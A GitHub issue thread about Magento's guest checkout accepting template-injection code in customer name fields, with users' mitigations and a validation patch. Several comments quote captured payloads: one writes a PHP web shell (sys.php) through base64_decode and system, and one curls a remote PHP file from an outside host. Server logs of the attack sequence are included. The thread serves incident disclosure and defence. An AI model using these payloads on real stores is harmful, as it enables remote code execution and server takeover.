Open nkarthickannan opened 1 month ago
Hi @nkarthickannan. Thank you for your report. To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce. To deploy vanilla Magento instance on our environment, Add a comment to the issue:
@magento give me 2.4-develop instance
- upcoming 2.4.x release@magento I am working on this
Join Magento Community Engineering Slack and ask your questions in #github channel. :warning: According to the Magento Contribution requirements, all issues must go through the Community Contributions Triage process. Community Contributions Triage is a public meeting. :clock10: You can find the schedule on the Magento Community Calendar page. :telephone_receiver: The triage of issues happens in the queue order. If you want to speed up the delivery of your contribution, join the Community Contributions Triage session to discuss the appropriate ticket.
@magento give me 2.4-develop instance
Hi @nkarthickannan. Thank you for your request. I'm working on Magento instance for you.
Hi @nkarthickannan, here is your Magento Instance: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering Admin access: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering/admin_d4b5 Login: bb2031d0 Password: 51e17af08a7d
Issue confirmed in the default Magento provided above. Screenshots are attached here:
I have the same issue with Magento CE 2.4.5-p8. Had 2 injection codes attack using the first name and last name fields. No validation on the checkout page.
Hi @engcom-Bravo. Thank you for working on this issue. In order to make sure that issue has enough information and ready for development, please read and check the following instruction: :point_down:
Area: XXXXX
label to the ticket, indicating the functional areas it may be related to.2.4-develop
branch@magento give me 2.4-develop instance
to deploy test instance on Magento infrastructure. 2.4-develop
branch, please, add the label Reproduced on 2.4.x
.Issue: Confirmed
once verification is complete. Similar code injection in to the customer name field of a bogus guest checkout order received on a production Magento CE 2.4.6-p6 website.
I am also getting same issue. Some one is trying to add file using base 64 en coding. When i decode i got following
cd pub;echo '<?php if($_POST['p']=="Sd44Ak8H") $_POST['f'](base64_decode($_POST['c']));' > sys.php
Magento version is CE 2.4.5-p1
If anyone havae solution then please provide.
There seems to be a major attempt at code injection at the moment. We were also able to reproduce the same behaviour in several instances. In my evaluation, this only refers to the guest checkout. This was observed in the production system from 3 August.
{{var this.getTemp%00lateFilter().add%00AfterFilterCallback(base64_decode).add%00AfterFilterCallback(system).Filter(Y2QgcHViO2VjaG8gJzw/cGhwIGlmKCRfUE9TVFsncCddPT0iOUdtdFhRbWsiKSAkX1BPU1RbJ2YnXShiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYyddKSk7JyA+IHN5cy5waHA=)}}
cd pub;echo '<?php if($_POST['p']=="9GmtXQmk") $_POST['f'](base64_decode($_POST['c']));' > sys.php
Server error log:
2024/08/03 16:14:23 [error] 163093#163093: *6061362 access forbidden by rule, client: 127.0.0.1, server: _, request: "GET /sys.php HTTP/1.1", host: ***
2024/08/03 16:14:24 [error] 163093#163093: *6062169 access forbidden by rule, client: 127.0.0.1, server: _, request: "GET /pub/sys.php HTTP/1.1", host: ***
It seems here that it was tried using the REST Api and checkout page:
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:13:57 +0200] "POST /rest//V1/guest-carts HTTP/1.1" 200 45 "-" "Mozilla/5.0 (Linux; Android 11; moto g(10)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:13:58 +0200] "GET /rest//V1/products?searchCriteria[pageSize]=20 HTTP/1.1" 401 6209 "-" "Mozilla/5.0 (Linux; Android 10; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:13:58 +0200] "GET /catalogsearch/result/?q=%25a%25 HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:00 +0200] "GET /de/search/%25a%25 HTTP/1.1" 200 704544 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:00 +0200] "GET /de/page_cache/block/esi/blocks/%5B%22topmenu_generic%22%5D/handles/WyJkZWZhdWx0IiwiY2F0YWxvZ3NlYXJjaF9yZXN1bHRfaW5kZXgiLCJjYXRhbG9nc2VhcmNoX3Jlc3VsdF9pbmRleF9ub3Jlc3VsdHMiXQ%3D%3D/ HTTP/1.1" 200 7647 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:00 +0200] "GET /de/page_cache/block/esi/blocks/%5B%22container-footer%22%5D/handles/WyJkZWZhdWx0IiwiY2F0YWxvZ3NlYXJjaF9yZXN1bHRfaW5kZXgiLCJjYXRhbG9nc2VhcmNoX3Jlc3VsdF9pbmRleF9ub3Jlc3VsdHMiXQ%3D%3D/ HTTP/1.1" 200 6341 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:09 +0200] "GET /*** HTTP/1.1" 200 100705 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.116 Mobile DuckDuckGo/5 Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:11 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/items HTTP/1.1" 200 169 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/115.0.5790.160 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:11 +0200] "GET /rest//V1/directory/countries HTTP/1.1" 200 4050 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:12 +0200] "GET /rest/default/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:12 +0200] "GET /rest/en/V1/directory/countries HTTP/1.1" 200 4008 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:12 +0200] "GET /rest/english/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:13 +0200] "GET /rest/it/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:13 +0200] "GET /rest/italian/V1/directory/countries HTTP/1.1" 400 76 "-" "Mozilla/5.0 (iPad; CPU OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:14 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 12; V2023) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Mobile Safari/537.36"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:14 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 13; SM-G991W) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:15 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/115.0.5790.84 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:15 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:16 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 12 "-" "Mozilla/5.0 (Linux; Android 11; 2201117TY) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:16 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/estimate-shipping-methods HTTP/1.1" 200 226 "-" "Mozilla/5.0 (Linux; Android 10; RMX1825) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.99 Mobile Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:17 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/shipping-information HTTP/1.1" 200 2277 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/282.0.564912098 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:17 +0200] "GET /customer/account/create/ HTTP/1.1" 200 480398 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/104.0.5112.88 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:19 +0200] "GET /checkout HTTP/1.1" 302 5 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/104.0.5112.88 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:19 +0200] "GET /de/checkout/cart/ HTTP/1.1" 200 471470 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/104.0.5112.88 Mobile/15E148 Safari/604.1"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:22 +0200] "POST /rest//V1/guest-carts/BX2VUJt5UYMHOD2RB7dbQxwRNdaqKldF/payment-information HTTP/1.1" 200 14 "-" "Mozilla/5.0 (Linux; Android 5.1.1; KFSUWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/108.9.6 like Chrome/108.0.5359.220 Safari/537.36"
***, 127.0.0.1 - 127.0.0.1 - - [03/Aug/2024:16:14:23 +0200] "GET /sys.php HTTP/1.1" 404 347 "-" "Mozilla/5.0 (iPad; CPU OS 15_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/250.0.505561494 Mobile/15E148 Safari/604.1"
***, ::1 - 127.0.0.1 - - [03/Aug/2024:16:14:24 +0200] "GET /pub/sys.php HTTP/1.1" 404 347 "-" "Mozilla/5.0 (iPhone; CPU OS 17_0_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) 1Password/7.10.2 (like Version/17.0.3 Mobile/21A360 Safari/600.1.4)"
The system should fix the problem with CVE-2022-24086, but the orders are still coming in and a validation should be carried out beforehand. There already seems to be a merged pull here, but it is not yet included in the core: https://github.com/magento/magento2/pull/38345
@magento give me 2.4-develop instance
Hi @engcom-Bravo. Thank you for your request. I'm working on Magento instance for you.
Hi @engcom-Bravo, here is your Magento Instance: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering Admin access: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering/admin_2e92 Login: b7d8f52a Password: 8352e1128731
Hi @nkarthickannan,
Thanks for your reporting and collaboration.
We have verified the issue in Latest 2.4-develop instance and the issue is reproducible.Kindly refer the screenshots.
Steps to reproduce
It allows the first and last name with the random code without throwing any error.
Hence Confirming the issue.
Thanks.
:white_check_mark: Jira issue https://jira.corp.adobe.com/browse/AC-12687 is successfully created for this GitHub issue.
:white_check_mark: Confirmed by @engcom-Bravo. Thank you for verifying the issue.
Issue Available: @engcom-Bravo, You will be automatically unassigned. Contributors/Maintainers can claim this issue to continue. To reclaim and continue work, reassign the ticket to yourself.
Is there any update on this I am getting the same issue despite Magento upgrading to 2.4.6-p6 and applying the patch from this link https://github.com/magento/magento2/pull/38345
@ishaqdahot https://github.com/magento/magento2/pull/38345 is a similar issue in customer account pages. So, that fix will not resolve this checkout issue.
is this problem related with this? https://experienceleague.adobe.com/en/docs/commerce-knowledge-base/kb/troubleshooting/known-issues-patches-attached/security-update-available-for-adobe-commerce-apsb24-40-revised-to-include-isolated-patch-for-cve-2024-34102?lang=en
No this is a separated issue, the one you point is related to xml injection no template injection
validation is done in https://github.com/magento/magento2/blob/6f4805f82bb7511f72935daa493d48ebda3d9039/app/code/Magento/Quote/Model/Quote/Address/Validator.php#L43-L64 we did a quick and dirty patch implementing what is done in https://github.com/magento/magento2/pull/38345 for all the involved fields last & first name, city, street, company middle name etc... but we patched this method, tried plugin and inheriting but none worked so reverted to patching the method in core, so far so good
There seem to be a lot of attempts at the moment to try a different variant:
{{var this.getTemp%00lateFilter().filter(firstname)}} {{var this.getTemp%00lateFilter().add%00AfterFilterCallback(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http://magdemo.io/cache.php?m=8055-1912-34894)}}
cd pub; curl -o health_check.php http://magdemo.io/cache.php?m=8055-1912-34894
There seem to be a lot of attempts at the moment to try a different variant:
{{var this.getTemp%00lateFilter().filter(firstname)}} {{var this.getTemp%00lateFilter().add%00AfterFilterCallback(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http://magdemo.io/cache.php?m=8055-1912-34894)}}
cd pub; curl -o health_check.php http://magdemo.io/cache.php?m=8055-1912-34894
I can confirm the same on different Magento stores.
There seem to be a lot of attempts at the moment to try a different variant:
{{var this.getTemp%00lateFilter().filter(firstname)}} {{var this.getTemp%00lateFilter().add%00AfterFilterCallback(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http://magdemo.io/cache.php?m=8055-1912-34894)}}
cd pub; curl -o health_check.php http://magdemo.io/cache.php?m=8055-1912-34894
I can confirm this kind of attacks, and all the above variants in checkout address form, in 4 stores,in the last 48h,
How do we fix it? Is there any update on this? Now I am getting orders daily with this code injected I First Name and Last Name.
Why isn't this a Priority 1 task?
By the way, these are the 5 tables in the database that I clean manually after receiving such orders. I make sure to clean the data before someone opens the order in the admin.
Any other table I am missing?
@jsdupuis
You have to clean following table also quote_item quote_item_option sales_order_item sales_order_payment
@jsdupuis I don't think it makes any difference whether you simply delete the order in the backend, as the code would already be executed when you save it. it would be better to check the system depending on what code is inside. Like:
find -newermt "-10 minutes" -ls
to check whether data has been changed the last 10 minutes and to check whether admin has been created. Also whether API interfaces have changed.
@jsdupuis you can run security scan also. This way you can find malicious code or file. For that you can use https://sitecheck.sucuri.net/ or any other website like this.
@jsdupuis I don't think it makes any difference whether you simply delete the order in the backend, as the code would already be executed when you save it. it would be better to check the system depending on what code is inside. Like:
find -newermt "-10 minutes" -ls
to check whether data has been changed the last 10 minutes and to check whether admin has been created. Also whether API interfaces have changed.
I normally notice the attack by email because I put our own email as CC for every confirmation email. When the hacker creates an order as guest, I see the code in the confirmation email. Would that trigger the code? I don't open Magento yet. Then I got in the database to clean the first name and last fields. Finally, I got in Magento to cancel that order.
First and second attack, they tried to create a sys.php file in the pub folder. Third attack, they tried to edit the health_check.php file. Fourth attack, they tried to create a cache.php file in the pub folder. Nothing went through luckily.
I am not a developper so I copy the hacker code from the email and I ask ChatGPT to tell me what the hacker is trying to do as I can't read base64 code. Can't wait for Magento to release a hot fix.
Hi
I also faced this issue over the last 5 days. During debugging, I found that all the orders came from different IP addresses but used the same email ID. To mitigate the problem temporarily, I restricted that email ID from placing orders. This is not a permanent fix, but it should help manage the issue until Magento releases a patch.
events.xml
`
</event>`
Oberserver file BlockEmailObserver.php
`<?php
namespace Vendor\Module\Observer;
use Magento\Framework\Event\ObserverInterface; use Magento\Framework\Exception\LocalizedException;
class BlockEmailObserver implements ObserverInterface { protected $messageManager;
public function __construct(
\Magento\Framework\Message\ManagerInterface $messageManager
) {
$this->messageManager = $messageManager;
}
public function execute(\Magento\Framework\Event\Observer $observer)
{
$order = $observer->getEvent()->getOrder();
$customerEmail = $order->getCustomerEmail();
// Specify the email you want to block
$blockedEmail = 'blocked@example.com';
if ($customerEmail === $blockedEmail) {
throw new LocalizedException(__('This email address is not allowed to place orders.'));
}
return $this;
}
} `
Would be cool if someone could test it: https://github.com/magento/magento2/pull/39030
Installing this module might also be a temporary solution: https://github.com/DeployEcommerce/module-trojan-order-prevent (I haven't tested it myself).
Installing this module might also be a temporary solution: https://github.com/DeployEcommerce/module-trojan-order-prevent (I haven't tested it myself).
@hostep i have just had a look at it the module only refers to the address.
@jsdupuis I don't think it makes any difference whether you simply delete the order in the backend, as the code would already be executed when you save it. it would be better to check the system depending on what code is inside. Like:
find -newermt "-10 minutes" -ls
to check whether data has been changed the last 10 minutes and to check whether admin has been created. Also whether API interfaces have changed.
any clue what this code really does? I checked the last 3 hours, no files changed (except standard image thumbnails and logfiles). Also checked API and Admin users, no new users. Anything else to check?
2.4.3-p3 having the same issue, they also try to upload a file to the pub folder like before. each time I had use command newermt can not find anything changed yet, hopefully, we can find out a solution to fix it. thanks, guy.
This is the temporary fix for now:
New file: Magento\Quote\Model\ValidationRules\NameValidationRule.php
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
declare(strict_types=1);
namespace Magento\Quote\Model\ValidationRules;
use Magento\Framework\Validation\ValidationResultFactory;
use Magento\Quote\Model\Quote;
/**
* Class NameValidationRule
* Validates the first name and last name fields in a quote.
*/
class NameValidationRule implements QuoteValidationRuleInterface
{
/**
* Regular expression pattern for validating names.
*
* \p{L}: Unicode letters.
* \p{M}: Unicode marks (diacritic marks, accents, etc.).
* ,: Comma.
* -: Hyphen.
* _: Underscore.
* .: Period.
* ': Apostrophe mark.
* ’: Right single quotation mark.
* `: Grave accent.
* &: Ampersand.
* \s: Whitespace characters (spaces, tabs, newlines, etc.).
* \d: Digits (0-9).
*/
private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u';
/**
* @var ValidationResultFactory
*/
private $validationResultFactory;
/**
* Constructor.
*
* @param ValidationResultFactory $validationResultFactory
*/
public function __construct(ValidationResultFactory $validationResultFactory)
{
$this->validationResultFactory = $validationResultFactory;
}
/**
* Validate the first name and last name in the quote.
*
* @param Quote $quote
* @return array
*/
public function validate(Quote $quote): array
{
$validationErrors = [];
$firstName = $quote->getCustomerFirstname();
$lastName = $quote->getCustomerLastname();
if (!$this->isValidName($firstName)) {
$validationErrors[] = __('First Name is not valid');
}
if (!$this->isValidName($lastName)) {
$validationErrors[] = __('Last Name is not valid');
}
return [$this->validationResultFactory->create(['errors' => $validationErrors])];
}
/**
* Check if a name field is valid according to the pattern.
*
* @param string|null $nameValue
* @return bool
*/
private function isValidName($nameValue): bool
{
if ($nameValue !== null) {
if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {
return $matches[0] === $nameValue;
}
}
return false;
}
}
Magento\Quote\etc\di.xml
add at the end of <argument name="validationRules" xsi:type="array">
<item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
Like:
<type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite">
<arguments>
<argument name="validationRules" xsi:type="array">
<item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item>
<item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item>
<item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item>
<item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item>
<item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item>
<item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item>
<item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
</argument>
</arguments>
</type>
And after:
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
</type>
<type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
<arguments>
<argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
</arguments>
</type>
like:
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
<arguments>
<argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument>
</arguments>
</type>
<type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
<arguments>
<argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
</arguments>
</type>
Thanks @in-session , if I can understand that we need to create a files NameValidationRule.php and editing file di.xml
The path for each file is located web server:
Magento_root/vendor/magento/module-quote/Model/ValidationRules/NameValidationRule.php
Magento_root/vendor/magento/module-quote/etc/di.xml
Remember the guy also did action for a search term is %a%
before placing the inject order by using these codes above
Code for each file
NameValidationRule.php
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
declare(strict_types=1);
namespace Magento\Quote\Model\ValidationRules;
use Magento\Framework\Validation\ValidationResultFactory;
use Magento\Quote\Model\Quote;
/**
* Class NameValidationRule
* Validates the first name and last name fields in a quote.
*/
class NameValidationRule implements QuoteValidationRuleInterface
{
/**
* Regular expression pattern for validating names.
*
* \p{L}: Unicode letters.
* \p{M}: Unicode marks (diacritic marks, accents, etc.).
* ,: Comma.
* -: Hyphen.
* _: Underscore.
* .: Period.
* ': Apostrophe mark.
* ’: Right single quotation mark.
* `: Grave accent.
* &: Ampersand.
* \s: Whitespace characters (spaces, tabs, newlines, etc.).
* \d: Digits (0-9).
*/
private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u';
/**
* @var ValidationResultFactory
*/
private $validationResultFactory;
/**
* Constructor.
*
* @param ValidationResultFactory $validationResultFactory
*/
public function __construct(ValidationResultFactory $validationResultFactory)
{
$this->validationResultFactory = $validationResultFactory;
}
/**
* Validate the first name and last name in the quote.
*
* @param Quote $quote
* @return array
*/
public function validate(Quote $quote): array
{
$validationErrors = [];
$firstName = $quote->getCustomerFirstname();
$lastName = $quote->getCustomerLastname();
if (!$this->isValidName($firstName)) {
$validationErrors[] = __('First Name is not valid');
}
if (!$this->isValidName($lastName)) {
$validationErrors[] = __('Last Name is not valid');
}
return [$this->validationResultFactory->create(['errors' => $validationErrors])];
}
/**
* Check if a name field is valid according to the pattern.
*
* @param string|null $nameValue
* @return bool
*/
private function isValidName($nameValue): bool
{
if ($nameValue !== null) {
if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {
return $matches[0] === $nameValue;
}
}
return false;
}
}
di.xml
<type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite">
<arguments>
<argument name="validationRules" xsi:type="array">
<item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item>
<item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item>
<item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item>
<item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item>
<item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item>
<item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item>
<item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
</argument>
</arguments>
</type>
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
<arguments>
<argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument>
</arguments>
</type>
<type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
<arguments>
<argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
</arguments>
</type>
and then
php bin/magento setup:upgrade
php bin/magento setup:di:compile
php bin/magento setup:static-content:deploy -f
php bin/magento cache:flush
Sorry for the question, and I am not familiar with the structure of Magento but I can follow your idea to create it. thank you.
@crazytrace depending how your Magento was installed, the folder might be vendor/magento/module-quote/
Thanks, @jsdupuis appreciate your response and help. I get it :p
I had similar attempt, but with a guest checkout order even though we have guest checkout disabled. I saw this page talking about this, with a quality patch that is not merged in current code/security patch, only 2.4.7 branch. So this is related as well for anyone interested.
@in-session Thanks so much for the temporary fix. However, after I applied your changes, I could still create a guess checkout order and manually put the code in the name fields, it could pass the check and place the order. See the screenshot:
My Magento ver is 2.4.6-p2.
The path for each file is located on our web server: Magento_root/vendor/magento/module-quote/Model/ValidationRules Magento_root/vendor/magento/module-quote/etc/di.xml
I can't find the magento folder in Magento_root/app/code. See the screenshot:
Did I miss anything? Thank you!
@guyiwei Can you send your XML? Do you use the Luma Checkkout or do you have other modules?
I have tested the code on our instance and have had no more problems since then. This is server-side validation. It is therefore still possible to enter data in the field, but an order should not be possible.
Hey @in-session Actually your sulution works. You are right, it is a server side validation. When I clicked the PLACE HOLDER button on Review & Payment tab, I can see the warning message "Last name is not valid", then it went back to Shipping tab. See the screenshot below. I previously thought it there would be some check at frontend on shipping page to stop proceeding to Review & Payment tab.
I will wait for your merging your PR . Thank you so much! :)
This is the temporary fix for now:
New file: Magento\Quote\Model\ValidationRules\NameValidationRule.php
<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Quote\Model\ValidationRules; use Magento\Framework\Validation\ValidationResultFactory; use Magento\Quote\Model\Quote; /** * Class NameValidationRule * Validates the first name and last name fields in a quote. */ class NameValidationRule implements QuoteValidationRuleInterface { /** * Regular expression pattern for validating names. * * \p{L}: Unicode letters. * \p{M}: Unicode marks (diacritic marks, accents, etc.). * ,: Comma. * -: Hyphen. * _: Underscore. * .: Period. * ': Apostrophe mark. * ’: Right single quotation mark. * `: Grave accent. * &: Ampersand. * \s: Whitespace characters (spaces, tabs, newlines, etc.). * \d: Digits (0-9). */ private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u'; /** * @var ValidationResultFactory */ private $validationResultFactory; /** * Constructor. * * @param ValidationResultFactory $validationResultFactory */ public function __construct(ValidationResultFactory $validationResultFactory) { $this->validationResultFactory = $validationResultFactory; } /** * Validate the first name and last name in the quote. * * @param Quote $quote * @return array */ public function validate(Quote $quote): array { $validationErrors = []; $firstName = $quote->getCustomerFirstname(); $lastName = $quote->getCustomerLastname(); if (!$this->isValidName($firstName)) { $validationErrors[] = __('First Name is not valid'); } if (!$this->isValidName($lastName)) { $validationErrors[] = __('Last Name is not valid'); } return [$this->validationResultFactory->create(['errors' => $validationErrors])]; } /** * Check if a name field is valid according to the pattern. * * @param string|null $nameValue * @return bool */ private function isValidName($nameValue): bool { if ($nameValue !== null) { if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) { return $matches[0] === $nameValue; } } return false; } }
Magento\Quote\Model\etc\di.xml add at the end of
<argument name="validationRules" xsi:type="array">
<item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
Like:
